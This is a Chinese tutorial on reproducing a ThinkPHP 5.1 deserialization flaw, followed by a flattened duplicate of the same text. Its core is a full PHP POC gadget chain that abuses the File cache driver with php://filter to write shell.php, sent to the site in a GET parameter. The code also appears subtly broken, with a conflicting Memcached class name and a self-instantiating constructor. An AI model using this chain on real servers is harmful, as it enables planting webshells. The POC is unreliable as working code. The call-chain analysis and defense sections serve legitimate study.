Thinkphp5.1反序列化漏洞复现加代码调式
字数 1208 2025-08-11 01:06:30

ThinkPHP5.1反序列化漏洞分析与复现指南

漏洞概述

ThinkPHP5.1框架中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据触发框架中的魔术方法,最终可能导致任意代码执行或敏感信息泄露。

环境搭建

  1. 安装Composer

    • 确保系统已安装Composer(安装指南
    • 注意PHP版本兼容性问题
  2. 获取ThinkPHP5.1源码

    composer create-project topthink/think=5.1.* tp5.1
    
    • 如果下载的是最新版本,需要手动修改composer.json指定5.1.x版本
  3. 配置环境

    • 使用PHPStudy或其他环境搭建工具
    • 确保PHP版本与ThinkPHP5.1兼容(通常PHP5.6-7.2)

漏洞复现步骤

  1. 创建反序列化接收点
    在应用入口文件(通常是public/index.php)中添加反序列化接收代码:

    $data = $_GET['data'];
    unserialize(base64_decode($data));
    
  2. 构造POC

    <?php
    namespace think\process\pipes;
    use think\model\Pivot;
    
    class Windows
    {
        private $files = [];
    
        public function __construct()
        {
            $this->files = [new Pivot()];
        }
    }
    
    namespace think\model;
    use think\Model;
    
    class Pivot extends Model
    {
        protected $append = [];
        protected $error;
        public $parent;
    
        public function __construct()
        {
            $this->append = ['xxx' => 'yyy'];
            $this->error = new \think\console\Output();
            $this->parent = new \think\model\relation\HasOne();
        }
    }
    
    namespace think\console;
    use think\session\driver\Memcached;
    
    class Output
    {
        protected $styles = [];
        private $handle;
    
        public function __construct()
        {
            $this->styles = ['getAttr'];
            $this->handle = new Memcached();
        }
    }
    
    namespace think\model\relation;
    use think\db\Query;
    
    class HasOne
    {
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
    
        public function __construct()
        {
            $this->selfRelation = false;
            $this->query = new Query();
            $this->bindAttr = ['xxx' => 'yyy'];
        }
    }
    
    namespace think\db;
    use think\cache\driver\File;
    
    class Query
    {
        protected $model;
    
        public function __construct()
        {
            $this->model = new File();
        }
    }
    
    namespace think\cache\driver;
    
    class File
    {
        protected $options = [];
        protected $tag;
    
        public function __construct()
        {
            $this->options = [
                'expire'        => 0,
                'cache_subdir'  => false,
                'prefix'        => '',
                'path'          => 'php://filter/convert.base64-decode/resource=./shell.php',
                'data_compress' => false,
            ];
            $this->tag = true;
        }
    }
    
    namespace think\session\driver;
    use think\cache\driver\Memcached;
    
    class Memcached
    {
        protected $handler;
    
        public function __construct()
        {
            $this->handler = new Memcached();
        }
    }
    
    $payload = new \think\process\pipes\Windows();
    echo base64_encode(serialize($payload));
    ?>
    
  3. 发送Payload

    • 使用Hackbar或其他工具发送GET请求
    • 示例URL:http://target.com/index.php?data=[base64编码的payload]

漏洞分析

触发流程

  1. 反序列化Windows对象
  2. 触发__destruct()方法
  3. 调用removeFiles()方法
  4. 遍历$this->files数组
  5. 对数组中的Pivot对象调用file_exists()
  6. PHP尝试将对象转为字符串,触发__toString()方法
  7. 调用toJson()方法
  8. 调用toArray()方法
  9. 触发一系列属性访问和方法调用链

关键点分析

  1. 魔术方法调用链

    • __destruct()removeFiles()file_exists()__toString()
  2. 属性控制

    • 通过精心构造的类属性控制程序执行流程
    • $append$error$parent等属性被用来引导执行路径
  3. 最终利用

    • 通过think\cache\driver\File类的path参数实现任意文件写入
    • 利用php://filter伪协议进行base64解码写入

调试技巧

  1. 断点设置

    • __destruct()方法处设置断点
    • 跟踪removeFiles()方法执行
  2. 变量监控

    • 监控$this->files数组内容
    • 跟踪toArray()方法中的属性处理
  3. 调用栈分析

    • 观察从反序列化到最终触发的完整调用链
    • 特别注意魔术方法的调用顺序

防御措施

  1. 官方修复

    • 升级到ThinkPHP最新安全版本
  2. 临时缓解

    • 禁止用户输入直接反序列化
    • 使用白名单机制限制可反序列化的类
  3. 代码审计

    • 检查所有反序列化操作点
    • 确保没有用户可控的反序列化入口

总结

ThinkPHP5.1反序列化漏洞通过精心构造的对象属性链触发了一系列魔术方法,最终可能导致任意文件写入等严重后果。理解该漏洞的触发原理和利用链对于防御类似漏洞具有重要意义。

ThinkPHP5.1反序列化漏洞分析与复现指南 漏洞概述 ThinkPHP5.1框架中存在反序列化漏洞,攻击者可以通过精心构造的序列化数据触发框架中的魔术方法,最终可能导致任意代码执行或敏感信息泄露。 环境搭建 安装Composer : 确保系统已安装Composer( 安装指南 ) 注意PHP版本兼容性问题 获取ThinkPHP5.1源码 : 如果下载的是最新版本,需要手动修改 composer.json 指定5.1.x版本 配置环境 : 使用PHPStudy或其他环境搭建工具 确保PHP版本与ThinkPHP5.1兼容(通常PHP5.6-7.2) 漏洞复现步骤 创建反序列化接收点 : 在应用入口文件(通常是 public/index.php )中添加反序列化接收代码: 构造POC : 发送Payload : 使用Hackbar或其他工具发送GET请求 示例URL: http://target.com/index.php?data=[base64编码的payload] 漏洞分析 触发流程 反序列化Windows对象 触发 __destruct() 方法 调用 removeFiles() 方法 遍历 $this->files 数组 对数组中的Pivot对象调用 file_exists() PHP尝试将对象转为字符串,触发 __toString() 方法 调用 toJson() 方法 调用 toArray() 方法 触发一系列属性访问和方法调用链 关键点分析 魔术方法调用链 : __destruct() → removeFiles() → file_exists() → __toString() 属性控制 : 通过精心构造的类属性控制程序执行流程 $append 、 $error 、 $parent 等属性被用来引导执行路径 最终利用 : 通过 think\cache\driver\File 类的 path 参数实现任意文件写入 利用 php://filter 伪协议进行base64解码写入 调试技巧 断点设置 : 在 __destruct() 方法处设置断点 跟踪 removeFiles() 方法执行 变量监控 : 监控 $this->files 数组内容 跟踪 toArray() 方法中的属性处理 调用栈分析 : 观察从反序列化到最终触发的完整调用链 特别注意魔术方法的调用顺序 防御措施 官方修复 : 升级到ThinkPHP最新安全版本 临时缓解 : 禁止用户输入直接反序列化 使用白名单机制限制可反序列化的类 代码审计 : 检查所有反序列化操作点 确保没有用户可控的反序列化入口 总结 ThinkPHP5.1反序列化漏洞通过精心构造的对象属性链触发了一系列魔术方法,最终可能导致任意文件写入等严重后果。理解该漏洞的触发原理和利用链对于防御类似漏洞具有重要意义。